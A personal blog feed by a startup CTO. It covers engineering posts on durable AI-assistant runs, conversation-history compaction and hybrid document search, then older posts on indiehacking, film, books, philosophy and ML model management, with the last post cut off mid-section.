Sumit's Space

When an AI Request Outlives the Browser Tab

Wed, 14 Oct 2026 07:30:00 GMT

A user asks an assistant to work through a set of documents. It starts searching, reading, and generating an answer. Then the user refreshes the page.

What should happen?

The work should keep going. When the user returns, the application should find the existing run and show its progress or result. It should not quietly submit the same question again.

That behavior sounds straightforward, but it requires separating several things that often start out inside one HTTP handler: executing the work, delivering live updates, and recording what happened.

At Jurisphere, I’ve worked on assistant execution and streaming using Temporal, Redis, and Server-Sent Events. The useful architectural decision is to give the run a lifetime independent of the browser connection.

Starting work and watching work are separate operations

In this design, submitting a question starts a backend workflow. The browser then connects to a separate endpoint to receive events for that chat.

Browser ── submit question ──▶ API ── start workflow ──▶ Worker
                                                         │
                                                         ▼
                                                   Event buffer
                                                         │
Browser ◀──────────────── SSE connection ◀────────────────┘

The worker also saves conversation content and run status.

The stream is a way to observe the work. It does not own the work’s lifetime. Closing it stops delivery to that browser, while execution continues in the backend.

This distinction also helps with navigation inside the application. Leaving a conversation page should not have the same meaning as pressing Stop.

Moving work into a background task inside the API process can separate it from the immediate response, but that alone does not define what happens when the process restarts. A workflow engine adds execution tracking, timeouts, and retry policies. It still needs explicit decisions about what a retry is allowed to repeat.

A returning browser needs to discover the existing run

Reopening the page is different from reconnecting an existing socket. The page may have lost its local state, and the application needs to discover which chat is still running.

Our webapp uses two signals. A browser-side pending-query cache can recover the chat identity and submitted query before the conversation API response arrives. The API can also report the latest chat as pending or streaming, letting the page attach to it.

These paths can race. The API-driven path may attach first, while the browser cache contains extra context that has not yet appeared in the fetched conversation. The reconnection hook checks the chat identity: it enriches an already attached instance of the same chat rather than opening another stream or overwriting it with an unrelated cached entry.

The important identity is the run the user already started. Reconnecting should not call the submission endpoint again.

Live delivery needs a replay buffer

A live-only broadcast loses events while the browser is disconnected. If part of an answer arrives during that gap, simply reconnecting leaves the user with an incomplete response.

Our assistant streaming path appends events to a Redis Stream. The SSE endpoint reads those entries and includes their event IDs. A client can reconnect with a last-seen event ID, allowing delivery to continue after that cursor while the entries remain available.

For example:

Browser receives events 1–10
Connection drops
Worker publishes events 11–20
Browser reconnects after event 10
Server reads the retained events after that cursor

That cursor supports resuming delivery. It is not a checkpoint of the model’s execution, and it does not imply that the model can resume generating from an arbitrary token.

The buffer also has limits. Our streams have a maximum length and an expiry, refreshed as events are published. Old events can be trimmed or expire. A cursor is useful only within the retained stream; it is not a promise of unlimited replay.

The event buffer is not the lasting record

The application separately saves conversation content and status. A user returning to a completed conversation needs the saved result, rather than depending on whether its streaming events still exist.

An approval pause makes this distinction particularly clear. The user might return hours later to approve a capability. Keeping a live stream open for that entire pause would couple the approval interface to the buffer’s lifetime.

Our reconnection hook does not reattach a chat that is awaiting approval. Instead, the interface renders the saved conversation and pending approvals. The worker persists that approval state before publishing the event that tells the UI to show the approval action.

That ordering matters: if the interface offers an action before the server has recorded the state needed to accept it, the user can click something that the backend is not ready to handle.

The saved state and the event stream serve different purposes. Neither removes the need to reconcile failures or stale status.

Reconnection, retry, and cancellation need different rules

Reconnection attaches a client to existing work. A dropped SSE connection should not trigger a fresh model call.

Retry happens when backend execution fails. Temporal activities can be retried, but an activity that calls a model or a tool may already have done some work before failing. A retry can incur another model call or repeat a side effect unless the application handles that boundary.

In our streaming implementation, the worker resets the event buffer before a new activity attempt so that partial output from separate attempts is not mixed into one stream. Terminal error publication also uses an atomic claim to avoid duplicate official error events across retries or overlapping attempts.

Those measures address event publication. They do not establish exactly-once execution for every tool the agent can call. A tool that changes external state needs its own idempotency or recovery design. Resetting the stream also means an old delivery cursor cannot be treated as a checkpoint across attempts.

Cancellation is an explicit user action. Our Stop path sends a signal to the running activity and records a stopped status. The stored status covers cases such as a stop arriving before the worker starts, when there is no active subscriber to receive the signal.

A signal alone can be missed. A stored flag alone does not necessarily interrupt an already running model call promptly. The implementation needs to account for both, including what to tell the user if signal delivery fails.

Make failure distinguishable from silence

An idle connection does not tell the browser whether a tool is still running, the worker has failed, or the event transport is unavailable.

Worker heartbeats, bounded retries, persisted status, and explicit terminal events each help answer a different part of that question. The streaming code also handles temporary Redis read failures with bounded retries; when it cannot recover the transport, it lets the client reconnect rather than treating the lost connection as proof that the assistant failed.

These mechanisms have their own failure cases. A status can remain marked as streaming after an unexpected failure, so the application also needs a way to detect and reconcile stale runs. An indefinite spinner is not a recovery strategy.

The scenarios I’d verify

For an assistant with this architecture, I would check:

Refresh while the worker is running: the page attaches to the same chat without submitting another question.
Drop the connection after partial output: retained events let delivery catch up without corrupting the displayed answer.
Return after completion and after the event buffer expires: the saved result remains available.
Retry an activity after partial publication: the UI does not combine different attempts into one answer.
Press Stop before the worker starts and during execution: both cases have a defined outcome.
Return to an approval pause hours later: the saved approval action still works.

These are suggested verification scenarios, not a claim that every failure mode has been eliminated.

The central design choice is simple: give execution an identity and a lifetime independent of the connection. Then define how the application observes it, recovers its result, and asks it to stop.

For the related question of what an assistant should retain across turns, see Why an AI Agent Needs Two Conversation Histories.

I’m the CTO and technical cofounder of Jurisphere, where I lead engineering and contribute hands-on. More about my work, or get in touch about a project.

Why an AI Agent Needs Two Conversation Histories

Wed, 14 Oct 2026 06:30:00 GMT

An assistant’s conversation history starts out looking like one thing: messages go in, messages come out, and you save them. As the assistant starts using tools and conversations get longer, that history takes on two different jobs.

The application needs a record of what happened. The model needs enough context to decide what to do next. Those requirements diverge once you start compacting context.

At Jurisphere, I worked on separating these into a full conversation transcript and a model-facing history. That separation makes some otherwise awkward problems easier to reason about.

The transcript and the working context

The full transcript supports the interface and the application’s resume behavior. If a user scrolls back, they should still see their original question and the answer they received. Compaction should not rewrite that record.

The model-facing history is a working representation. It can discard older tool output or summarize earlier exchanges to fit within a context budget.

These are different representations of the same conversation:

Conversation
  ├── Full transcript → interface and application history
  └── Working context → next model call, with compaction

A summary may be sufficient for the next model call without being a suitable replacement for the user’s transcript. A document-search result may contain a large amount of text that helped one turn but does not need to be replayed indefinitely.

Compact in stages

Our implementation uses a tiered approach: clear older tool results first, then summarize if more reduction is needed, while retaining recent messages.

The order matters. Summarization makes decisions about what to preserve, and those decisions can lose detail. Removing older bulky tool results is a cheaper first step, provided recent tool-call and result pairs remain coherent.

For a document assistant, a summary also needs to preserve references that later answers depend on. A summary saying “we discussed the contract” is much less useful than one retaining the relevant document references, decisions, and unresolved questions.

This does not make summaries lossless. It gives the model a smaller working context while leaving the original record available to the application.

A subtle consequence: offsets stop identifying turns

Suppose you record the length of the history before a run:

start = len(messages)

After the run, you take everything after that offset as the new turn. This works while the prefix remains unchanged.

Compaction can rewrite that prefix during the run. The old offset may then point into the wrong place or beyond the end of the list. An interruption makes this especially troublesome, because you need to identify what happened in the current run before saving it.

I worked on using the run’s identity to locate its messages instead. The invariant is that a run’s stamped messages form a contiguous suffix; a saved list length is no longer the boundary.

The broader lesson is that identity survives transformations that position does not. Whenever a pipeline rewrites a list, check whether downstream code has quietly treated an index as an identifier.

Interrupted output needs its own handling

There is another distinction between the model’s message history and the interface: text can reach the user before the model finishes producing a complete response.

On interruption, the captured model messages may not include that in-flight output. If the application has already streamed it, preserving the visible partial response requires handling those streamed deltas explicitly.

Incomplete tool-call tails also need care. Replaying an unfinished tool exchange as though it completed can produce an invalid or misleading next context. Our history helpers trim incomplete tails and construct a partial response from the output accumulated during streaming.

Keeping two stores does not remove the need for consistency. It makes that responsibility explicit: decide what gets persisted after completion, after interruption, and when reading an older conversation.

What I’d check in another assistant

Before adding more elaborate memory, I would check these cases:

A long conversation compacts, and the original transcript remains visible.
The user interrupts a run after seeing partial output.
Compaction happens before an interrupted turn is persisted.
An incomplete tool exchange does not get replayed as a completed one.
An older saved conversation can initialize the model-facing representation.

These are application behaviors, not just prompt behaviors. A larger context window can postpone some pressure, but it does not answer what your application should preserve or how it should resume.

Separating the transcript from the model’s working context gives each a clear purpose. That is a useful foundation before adding more sophisticated memory.

I’m the CTO and technical cofounder of Jurisphere, where I lead engineering and contribute hands-on. More about my work, or get in touch about a project.

Hybrid Search for Document-Heavy Products

Wed, 14 Oct 2026 05:30:00 GMT

Document search has to handle several kinds of questions. Sometimes a user knows an exact phrase, a clause number, or a filename. Sometimes they describe an idea in words that do not appear in the source.

At Jurisphere, I’ve worked on retrieval that combines keyword and vector search. The interesting part is how those retrieval methods fit into the rest of a document workflow: scope, metadata, indexing state, and source references.

Two ways to find a passage

Keyword search is useful when the query contains distinctive words or identifiers. BM25 ranks matches using lexical signals. Vector search can find passages that are semantically related to a query even when they use different wording.

For an illustrative example, imagine a user searching for “ending the agreement early.” A passage headed “Termination” may be relevant without containing that phrase. The same user may later search for the exact reference “clause 12.3,” where lexical matching is useful.

Combining the two gives the retrieval system candidates from both routes. It still needs to decide how to merge and rank them.

Search metadata as well as content

One change I implemented extended keyword ranking across several fields: passage content, filename, title, summary, and category, with different weights.

A user may remember the name of a document rather than a sentence inside it. Restricting keyword search to chunk text can miss that signal even when the right document is already in the index.

Field weighting makes that tradeoff explicit. Content remains important, while filename and title matches can also influence ranking. The weights are tuning choices; they need to be checked against the queries your users actually make.

Batch queries without conflating their scores

The implementation submits the keyword query and the vector query together through Turbopuffer’s multi-query API. This combines the two index queries into one request, although embedding generation and any later reranking remain separate operations.

It is a concrete reduction in index requests. It is not, by itself, evidence that total search latency falls by the same proportion: the overall path also includes embeddings, result processing, and possibly reranking.

BM25 scores and vector distances are different quantities. Adding them directly would require deciding how to normalize them. Rank fusion is one way to combine the candidate lists without treating their raw scores as interchangeable.

Our retrieval path supports reciprocal rank fusion and reranking. These address different questions: fusion combines the retrieval lists; a reranker evaluates candidate relevance to the query. Neither can recover a passage that never entered the candidate set.

Scope belongs in retrieval

In the uploaded-document search path, the index is selected by organization, and queries are filtered to the relevant file IDs and, where applicable, page ranges. Both retrieval routes use the same filter expression. Results are also restricted to chunks marked as current.

Those constraints belong in the retrieval request. Filtering only after ranking would let out-of-scope material occupy candidate slots, even if it were removed before the answer was shown.

This is one part of access control. The application still needs to resolve which files the user may access before it constructs the search scope.

Index state is part of the product

A file can exist in storage and still be missing from the search index. A replaced document can leave older chunks behind unless the indexing process handles version state.

Our search path checks for missing indexed files and can trigger a backfill workflow before searching. The indexing code also tracks which chunks are current.

That introduces an operational tradeoff: repairing missing index data can make a request slower. It also means the system has something more useful to do than silently search an incomplete set of documents. The interface and telemetry need to account for this work.

When diagnosing a bad answer, I would first ask whether the relevant source was available to retrieval at all. Changing a prompt cannot fix a missing index entry.

Preserve the route back to the source

Retrieved chunks carry more than passage text. Our chunk representation includes file identity, filename, page number, position, and bounding-box information when available.

That metadata lets downstream features associate a result with its source. It is also useful when investigating retrieval: an answer can sound plausible while drawing on the wrong passage or an older version of a document.

A citation is not proof that an answer is correct. It gives the user and the engineer a way to inspect the evidence.

How I’d evaluate changes

I would build a small set of representative queries covering exact references, paraphrases, filenames, and scoped searches. For each, record the expected source passages, then compare keyword-only, vector-only, and combined retrieval.

Measure retrieval quality separately from answer quality. Also record where time goes: embedding generation, the index request, reranking, and any index repair. These are proposed evaluation steps, rather than a claim about benchmark results from this implementation.

Hybrid retrieval is useful, but the surrounding details determine whether it serves the user’s workflow. The right scope, current index data, searchable metadata, and a clear route back to the source deserve as much attention as the choice of embedding model.

I’m the CTO and technical cofounder of Jurisphere, where I lead engineering and contribute hands-on. More about my work, or get in touch about a project.

Takeaways from My Indiehacker Experiment

Sun, 01 Oct 2023 18:30:00 GMT

My birdfind-app repo got its first commit on Nov 24, 2022, and last commit on Feb 2, 2023. In this post, I’ll put down some learnings from this experiment.

After Solvent Protocol got closed down, I wasn’t in a hurry to find my next job. I always like to take a few months of break between jobs to collect myself and explore. To give myself the freedom to think open-endedly about what I want to do next. This time I decided on being an indiehacker. If you need to learn what that means, here’s a definition ChatGPT gave me.

An indiehacker is a self-employed entrepreneur who builds and operates an independent online business, often focusing on digital products. They embrace a transparent and knowledge-sharing community while striving for financial independence and the ability to work on projects they are passionate about.

The product I was building was called Twips at first, but then I changed the name to Birdfind. The initial idea was that it would be a one-stop platform for finding people on Twitter—a search engine for Twitter users. You could filter the list of users using a multitude of criteria, e.g. followed by, follower of, follower count, etc. Later on I pivoted to a similar but slightly different product where you could discover Twitter users within a niche. It was an intense 2 months of obsessive building, and I loved it. But like all things it came to an end, the primary catalyst being Twitter’s new API policy.

Here are my takeaways from this 2 months journey, as bullet points.

As a programmer, it was effortless for me to keep building features and obsess about getting the engineering right. I did not think enough about the business part of the journey, about the users and their problems. I should have kept the feature set of the MVP very small, and focused on doing sales and acquiring customers after that. Because true insights only come from interacting with the customers, and I did not do enough of that.
When you’re building solo, there’s no one to bounce ideas off of or who will call you out on your bullshit. This can be a strength: you can move fast without any teamwork or communication overhead. But in most cases it ends up being a weakness, especially if it’s your first time building a business. VCs know this; that’s why they are wary of investing in solo founders, and they do have a point.
Being an indiehacker makes little financial sense. You will make a lot less money compared to full-time jobs for a considerable amount of time, probably years. Even if you’re itching to ditch the 9-5 and dive into building a business, financially it makes a lot more sense to go for the VC funding route.
As a solopreneur, you’re forced to limit your product’s scope and pace of development. For example, for Birdfind, I shied away from being a competitor to the big social media management apps because I knew I couldn’t build and maintain all those features by myself. I have noticed this trend across other indiehackers on Twitter too, all of their products are very small in scope, and in most cases that translates to losing out potential clients or dropping good ideas just because they are larger in scope.
There are some high-quality educational resources about startups on the internet, it’s a good idea to go through them before jumping in. It doesn’t have to be thorough; just a week or so of learning is enough to get started. But it’s very important because there are some classic mistakes and pitfalls that everyone is prone to make, and these resources help you avoid just those. These resources include Y Combinator’s videos on YouTube and the book The Mom Test.

Given everything I’ve said so far, building something of your own is a very rewarding experience, especially once you have some momentum. It’s a lot of fun, and I think everyone should experience it at least once in their life. Working on Birdfind gave me a taste of the joy of building something, but it also made me more realistic about how to approach creating a startup and what to expect from it.

Only God Forgives

Fri, 03 Jun 2022 18:30:00 GMT

Recently I rewatched Nicolas Winding Refn’s Only God Forgives. It’s a very divisive movie, the critics’ review at Rotten Tomatoes is around 50% lmao. But I found it to be quite intriguing.

First a brief recap for those who haven’t seen the movie or forgotten: Julian—played by Gosling—runs a boxing club in Bangkok as a front for his drug business. He and his mother Crystal get caught up in a turf war with the local police—especially an oddball sword-weilding detective—when Julian’s older brother rapes and kills a local prostitute. The cycle of violence quickly escalates and finally results in Crystal’s death and Julian’s hands getting chopped off.

At it’s core, it’s a deeply moralistic tale which hammers in: “An eye for an eye, a tooth for a tooth.” The name of the movie is a direct reference to this. Two characters even verbalize this at different points in the movie. The mobster who planned the hit on the cops says that he’s ready for the consequences for what he did, and Crystal towards the end also accepts that she fucked up and she’s due for the consequences.

Only God forgives, in our mortal plane there’s no forgiveness for violence. Interestingly, the detective is almost an agent for a violently retributive God, he doesn’t have any real personality other than that.

“Do you know who he is?”
Julian nods.

As if he knows what’s coming for him. Judgement, from God.

Is the detective an agent of God, or even God himself? Well he doesn’t forgive, and apparently God forgives. This aspect of the detective character seemed to be badly fleshed out to me, there are mixed signals about his true nature. In the movie’s defense, we do get a brief scene where he’s shown to be human: when he meets his daughter at home, and it’s implied that he’s a single parent who’s affectionate towards his child.

Julian on the other hand, is a mortal man who’s confused as to what he should become. He looks at his hands at several points in the movie, once he washes them and sees blood, and he keeps dreaming of the detective coming one day and chopping his hands off. We later learn that he’s a drug dealer, so he knows that he’s a sinner, and he has to pay for it one day. But he has a conscience unlike his brother, so by the detective’s sense of morality he deserves only amputation, not death, which makes sense.

The movie also has lots of references to sexual trauma and incest. It’s overtly implied that Crystal has incestuous relationship with her sons, and she made Julian kill his father. All of this has made Julian sexually broken, as it’s apparent from his fetishes. When his mother dies, he makes a cut in her belly and inserts his hand in it, which is almost sexual in a grotesque way. This sexual theme of the movie seemed heavy handed to me.

Although the movie has its faults regarding plot and theme, it’s held up by its pacing, atmosphere and stylistic elements; as a result the final package is gripping and entertaining. The most interesting character is that of the detective, and his presence elevates the movie to a spiritual level.

Overall, I’ll rate this a 7 out of 10.

Output Oriented Learning

Thu, 02 Jun 2022 18:30:00 GMT

I think learning new things is one of the most satisfying and dopamine-inducing experience for me, many of my brightest memories of my life are around learning. But the learning has to be of a specific kind, obviously it’s not like I enjoyed all of my college courses. So what gives?

I wrote a post about this about 4 years back which goes into the ownership aspect of this phenomenon. But I recently realized there’s also another aspect, the output of the said learning.

If the goal of the learning is mere input, then it’s very less likely that I’ll stick with it. But when the goal of the learning is some output, then I’m much more likely to stick with it, and moreover get passionate and excited about it.

As a concrete example, I’ve always wanted to learn a new programming language and get good at it. I even started with Golang, but didn’t go far and just got distracted in a few days. But recently when I had to learn Rust and Solana development for an interview assignment, I did an 18 hour coding marathon learning it all from scratch. And this pattern has emerged in the past too, whenever I was very energetic about learning something, the learning was means to some other end.

I suspect this is true not just for me, but for many others, possibly everyone. So if I’m to make it a general rule it’ll be like the following:

Learning can not be an end-in-itself. It has to be means to an output. Whenever we pick up a project, the end goal of the project can not be the fact that I’ll end up with some input—the knowledge, the goal should be some output—creating, teaching, writing, etc.

Of course the nature of the output matters too, but that will vary from person to person. Different kinds of output appeals to different people at different stages of their life. The output can be anything: earning money, teaching others, creating products, solving some societal issue, contributing to research, etc. Even if you’re motivating and influencing others by putting yourself out there, you’re making an impact on the world, you’re producing some output. The worst if you’re just learning by yourself, isolated.

Anthem by Ayn Rand

Mon, 23 Aug 2021 18:30:00 GMT

Ayn rand is intriguing to me just because how polarising she is. Finding out that George Hotz is a big fan of Rand was a bit disappointing, but it made me reconsider reading her works just to see what the fuss is about. And I just did that today, read a very short novel of hers named Anthem.

I think Hotz described her works best when he called them pornographic, and understadably there could be an allure in that. Most of the book paints a cartoonish version of dystopic communism which has a lot of similarity to Orwell’s 1984, except 1984 has an extensive worldbuilding which fleshes out the power of censorship in a totalitarian regime, while Anthem lacks any such redeeming qualities. I was cringing out through most of the book except the last two chapters. Those chapters are very clearly just Rand speaking out her philosophy of individualism, and one can understand the novel is mostly a thin badly-written cover around these last few chapters. It’s just that I would prefer if I didn’t have to unwrap all that cover just to get to this.

Rand’s philosophy has a strong tone of existentialism, especially the Nietzchian kind. Some of the following paragraphs from chapter 11 of the book gives a taste

I stand here on the summit of the mountain. I lift my head and I spread my arms. This, my body and spirit, this is the end of the quest. I wished to know the meaning of things. I am the meaning. I wished to find a warrant for being. I need no warrant for being, and no word of sanction upon my being. I am the warrant and the sanction.

It is my mind which thinks, and the judgement of my mind is the only searchlight that can find the truth. It is my will which chooses, and the choice of my will is the only edict I must respect.

Many words have been granted me, and some are wise, and some are false, but only three are holy: “I will it!”

Not gonna lie, I dig it. Although this isn’t anything too new, just the typical enlightenment philosophy of individualism, along with existentialism and will to power.

Some of the following stuff could be controversial, understandably.

I do not surrender my treasures, nor do I share them. The fortune of my spirit is not to be blown into coins of brass and flung to the winds as alms for the poor of the spirit. I guard my treasures: my thought, my will, my freedom. And the greatest of these is freedom.

But it’s interesting how Rand has not mentioned any material possession when she lists out the treasures she won’t like to share. But she did say that “the fortune of my spirit is not to be blown into coins of brass and flung to the winds as alms for the poor of the spirit”. An obvious reading of this would be a cry against things like taxation. But a more interesting reading would be a statement against market capitalism, and how one should not sacrifice their thought, will and freedom to capitalistic ends, how one should not blow their spirit away into coins of brass. But I need to read more Rand to confirm this, I’m most probably just projecting here.

Maybe I will read more Rand, or maybe not.

Schopenhauer: a Positive Conception of Suffering

Wed, 17 Mar 2021 18:30:00 GMT

Schopenhauer is infamous for his morbid pessimism, but upon reading him I did find him to be more than that. His core philosophy describes a realism, and although he certainly sometimes interprets it pessimistically, in other times he leaves it as be, without imposing any explicit value judgment on it. I recently decided that I’ll write very short posts about anything and everything, and increase the regularity and quantity of my writing rather than worrying about the novelty and quality of it. This post is about the Schopenhauerian positive conception of suffering. As it will be evident, I’m writing mostly to clarify my own understanding, but if it does end up helping or traumatizing others that’s all the better! The primary source of this post is his essay “On the Suffering of the World”.

At this point I should note that I’m using terms such as pessimism and realism quite loosely, I’m referring to the common dictionary definitions rather than the philosophical schools of thought. In case I do refer to the philosophical thoughts I’ll make sure to make it explicit.

With the opening sentence of the essay Schopenhauer sets the tone, “If the immediate and direct purpose of our life is not suffering then our existence is the most ill-adapted to its purpose in the world”. Upon witnessing the amount of suffering individuals and humanity as a whole goes through, it simply would be absurd if this were not the direct “purpose” of our life. Of course, “purpose” here does not signify some transcendental objective of our life. It simply states the fact that suffering is the most fundamental reality we face—“Each individual misfortune, to be sure, seems an exceptional occurrence; but misfortune in general is the rule”—thus it must be inherent in the nature of life itself.

Phenomenologically, whatever we take notice of thwarts our will in some way, when things go our way we simply don’t notice it. This can be noticed at various levels of individual and social reality. Considering pure sensations, we are not conscious of our whole body but only where it’s uncomfortable, “where the shoe pinches”. In case of interpersonal relationships as well as socio-political developments, conflicts are much more real to us and they leave a far greater impression than the easy times. “History shows us the life of nations and finds nothing to narrate but wars and tumults; the peaceful years appear only as occasional brief pauses and interludes”. Childhood traumas leave such an impact that they continue to haunt us for the rest of our lives, whereas an easy childhood is just a mere backdrop to the further life that lies ahead. Even if we disregard trauma as an outlier, in general, “we think not of the totality of our successful activities but of some insignificant trifle or other which continues to vex us”. If we keep thinking about this, we can come up with lots and lots of examples.

Schopenhauer was gripped by this realization, he concluded that evil, pain, and suffering are the positive aspects of existence, only they exist of themselves; happiness, gratification and all goodness can only defined negatively, as the absence of the former. This realization is not something very new; like with almost everything in philosophy, ancient Greeks did it first. In particular, Epicurean philosophy is founded on this purely negative notion of happiness as the absence of pain. But Schopenhauer went one step further and created a system of metaphysics founded upon this realization, but more on that later on a separate post.

Moreover, men require this constant pressure of wants, desires, frustrations and sufferings, otherwise they would simply give into “the most unbridled folly, indeed madness”. In an Utopia where suffering doesn’t exist and every desire is satisfied as soon as it arose, men would either kill themselves or deliberately create conflict and suffering, because suffering—when thought of as a thwarting of our will and the subsequent overcoming thereof—is the fundamental drive for life, the “purpose” of our lives.

Machine Learning Model Management in 2020 and Beyond

Sun, 22 Nov 2020 18:30:00 GMT

Model management is a relatively new issue when it comes to Machine Learning. Since the technique is widely used in business, the need to manage multiple experiments and optimize dozens of parameters has become bread-and-butter of data scientists around the world. And thus, the tools supporting the Model management have emerged on the market. The rise of open-source and relatively intuitive ML frameworks such as Pytorch and Tensorflow has lowered the entry barrier for ML development.

In the coming years, machine learning will only extend its influence and keep penetrating new market segments. Organizations that don’t necessarily have the expertise to build models themselves will be forced to use models made by others.

Deploying and using ML models in such a large, enterprise scope involves a lot of moving parts. Doing it ad-hoc without any solid framework and pipeline in place can make ML development unwieldy and counter-effective. This is where machine learning model management comes into the picture.

Shortcomings of ad-hoc Machine Learning model development

Doing ML model development without a management framework gets very complicated. To name just a few challenges:

No record of experiments: In an organization, multiple colleagues are likely to be working on the same problem, and they might be running their own set of experiments. In such a scenario, making sure that duplicate work is not being done is essential but hard to implement. For example, colleague A might want to try something out which has already been tried out by colleague B; but he has no way of knowing that, so he has to run the experiment himself. This should be avoided.
Insights lost along the way: In a rapid iterative experimentation phase, an insight generated in an earlier experiment might be lost when the researcher moves on to the next iterations of that model. A solution would be to keep detailed notes manually, but no one does that just because it’s manual and requires a ton of effort.
Difficult to reproduce results: Reproducing a particular experiment becomes problematic as that would require storing the model code along with the hyperparameters and the dataset manually, for each and every iteration of the model. This requires a ton of effort, so in practice, no one does it.
Cannot search for or query models: Once a lot of experiments have been done, querying the past models would be a vital source of information and insights, but without solid version control and metadata tracking system, this becomes nearly impossible.
Difficult to collaborate: Once a candidate model has been developed and is up for review, how would the reviewer effectively review the model? This problem becomes progressively more challenging as the team size grows. Issue trackers, JIRA boards, pull requests are useful tools designed to solve this problem in the realm of software development, but we need something analogous to that for ML model development too.

Managing the lifecycle of a Machine Learning model with MLops

Machine learning model management can be thought of as a part of a broader framework called MLOps. So before we go into the details of model management, let’s look into details of MLOps.

MLOps can be thought of as a collection of principles, practices, and technologies that help to increase the efficiency of machine learning workflows.

It was inspired by DevOps, as DevOps tries to make the software lifecycle from development to deployment as efficient as possible, the MLOps makes the machine learning development pipeline—from experimentation to deployment—faster and smoother.

The MLOps pipeline can be broadly divided into the following three parts, each optimizing a particular aspect of ML model development.

Model development and management: This deals with methodologies for faster experimentation and development of models.
Model deployment: This includes a few subtasks.
- Validation and quality assurance of models that are about to be deployed. After validation, automated, and fast deployment of models into production.
- Deployment of new versions of models, i.e., upgrading, over-the-air seamlessly. This step can be thought of as analogous to continuous integration and continuous deployment of DevOps.
Model monitoring: Monitoring the usage and performance of models that are running in production. Systems that alert when concept drift occurs are common.

Although these principles are similar to their software engineering or data management counterparts, ML models are fundamentally different from code or data, so they should be treated differently. Software management or data management tooling don’t work as effectively on models. So we have to rethink MLOps on its own.

In this article, we’re going to focus mostly on the first part of the MLOps pipeline: model management.

What is Machine Learning model management?

Now that we have a birds-eye view of what ML model management is, we can look into the specific practices that go into it.

While developing models, researchers carry out lots of experiments rapidly. By experiments I mean trying out different model architectures, tuning their hyperparameters, and then seeing their performance by training and validating. Even if a single researcher is doing these experiments independently, keeping track of all the experiments and their results can become hard.

This challenge grows when multiple researchers are working on the same problem simultaneously. As these experiments tend to be very rapid and somewhat chaotic, traditional software management tools such as git and Kanban boards fall short when it comes to synchronization between researchers and the experimentation phase.

Solving this challenge is the core premise of ML model management. And the solution turns out to be something quite simple but tremendously powerful: logging everything.

By logging the parameters pertaining to every experiment, dashboards can be generated at a central place where everyone can keep track of the different models. In addition, there should also be a way to keep track of all the versions of the models that are developed, so that they can be reproduced later easily.

This is the central idea behind ML model management, and in practice, these techniques end up multiplying the productivity of model developers.

So, we understand, ML model management consists of the following three ideas

Now let’s look at them one-by-one more closely.

Logging

In an ML model development workflow, the fundamental unit of operation is an experiment. An experiment can be thought of as a single train-and-validate cycle of a particular model. Logging every experiment is the first step towards having a birds-eye view of the performance of the models.

For each experiment, the following parameters might be logged:

The model name, along with a version number.
Set of hyperparameters used.
Training accuracy at each iteration of the training process.
Final test accuracy, or better, the confusion matrix.
Training time, memory consumed, etc.
Model binary
Code and environment configs

Version Control

Just like software, machine learning models get built incrementally. After each incremental change, the model might perform differently than before.

So it is of utmost importance to track the version of models that are being used, and make sure that the metadata and performance metrics that are logged are tagged with the name and version of the model that’s being used. This is where version control comes in.

Version control also helps us reproduce a model later easily, as all the information pertaining to the model is stored in the VCS.

As git is the industry-standard version control system for software development, many ML model management frameworks provide a VCS that’s git-like, in terms of architecture and user interface.

Dashboard

Once all the information and metadata pertaining to the experiments has been collected, a central dashboard is used to

Visualize the metrics related to the models
Query all the models and experiments
Share results with collaborators and review the models

Having an intuitive and powerful dashboard can unlock tremendous potential for collaboration and insight gathering; in a sense generating a powerful and rich dashboard is the final goal of model development.

It also helps if the dashboard has user management, authentication, and authorization features built into it, especially for large organizations. That way, security gets reinforced, and collaboration becomes much more manageable.

Machine Learning model management frameworks

Now that we understand what machine learning model management is, let’s look at some popular model management frameworks. Each has its own idiosyncrasies, strengths, and weaknesses, but they do follow a pattern as well.

ModelDB

The ModelDB framework is one of the pioneers of making machine learning model management easy and intuitive. The Github repo of ModelDB describes itself as

ModelDB is an open-source system to version machine learning models including their ingredients code, data, config, and environment and to track ML metadata across the model lifecycle.

In essence, it’s a complete system that provides all the primary components of ML model management: logging, version control, and a central dashboard. It consists of a powerful backend built to run as docker containers, a pluggable storage system, and powerful integrations with major ML frameworks such as Tensorflow, Pytorch, and scikit-learn. You can use ModelDB in order to

Make your ML models reproducible.
Manage your ML experiments, build performance dashboards, and share reports.
Track models across their lifecycle including development, deployment, and live monitoring.

ModelDB started off as a research project by the CSAIL research lab at MIT. Since then, it has been adopted by VertaAI and currently it lives here. The latest version of Modeldb brought many features that made it enterprise-ready, including git-based model versioning and authentication features for its central dashboard; the announcement can be found here.

MLflow

MLflow is another big, comprehensive ML model management framework. It’s created by Databricks, the company behind Apache Spark. And it’s really apparent how their talent and experience have been integrated into this giant but agile framework. From its Github repo

MLflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

As you can see, MLflow also provides features for deploying ML models, making this more of a full-fledged MLOps framework. MLflow consists of the following components.

MLflow Tracking: An API to log parameters, code, and results in machine learning experiments and compare them using an interactive UI. Essentially, this component covers the most fundamental logging part of the ML model management workflow.
MLflow Projects: A code packaging format for reproducible runs using Conda and Docker, so you can share your ML code with others. This incorporates the version control part of the model management workflow.
MLflow Models: A model packaging format and tools that let you easily deploy the same model (from any ML library) to batch and real-time scoring on platforms such as Docker, Apache Spark, Azure ML, and AWS SageMaker.
MLflow Model Registry: A centralized model store, set of APIs, and UI, to collaboratively manage the full lifecycle of MLflow Models. This component, along with the previous one, makes MLOps a fully-fledged MLOps framework, rather than just a model management framework.

Neptune

Neptune is a machine learning experiment management tool which focuses on being lightweight and easy to integrate. It consists of two components,

The server, which you can use as a service or install on your own hardware.
The client libraries.

Like I said, the strength of Neptune is in its ease of integration with all kinds of workflows. Using Neptune, team members can use vastly different ML libraries and platforms, and yet share their results and collaborate on a single dashboard.

Moreover, you can use their software-as-a-service offering, skipping the need to deploy it on your own hardware; and that way integrating Neptune into your workflow becomes even easier.

Neptune offers the following features

Experiment management: Keep track of all the experiments your team carries out; tag, filter, group, sort and compare your experiments.
Notebook versioning and diffing: Compare two notebooks or two different checkpoints of the same notebook. You can even compare their output side-by-side just like source code.
Team collaboration: Adding comments, mentioning teammates, comparing results and discovering insights through discussions, it’s all possible.

As you can see, it’s a fully fledged machine learning model management framework; the ease of use doesn’t come at the cost of functionality and power. If you’re looking for an easy entry into the world of machine learning model management, Neptune could be perfect.

Azure Machine Learning

Azure Machine Learning is the cloud MLOps platform offered by Microsoft. As it’s a complete MLOps system, it offers services to manage and automate the whole ML lifecycle, i.e., model management, deployment, and monitoring. It provides the following MLOps capabilities.

Create reproducible ML pipelines.
